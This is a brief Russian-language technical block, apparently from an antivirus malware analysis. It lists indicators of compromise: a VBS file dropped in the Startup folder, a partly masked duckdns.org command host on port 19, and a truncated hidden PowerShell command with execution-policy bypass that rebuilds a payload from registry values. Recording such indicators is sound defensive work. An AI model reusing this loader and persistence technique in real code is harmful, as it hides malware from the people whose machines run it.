Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.vbs
- 'os#####rk.duckdns.org':19
- 'os#####rk.duckdns.org':19
- DNS ASK os#####rk.duckdns.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -Command "$skyvalues = ((Get-ItemProperty HKCU:\Software).systemsky1 + (Get-ItemProperty HKCU:\Software).systemsky2).ToCharArray(); $skyresul... (со скрытым окном)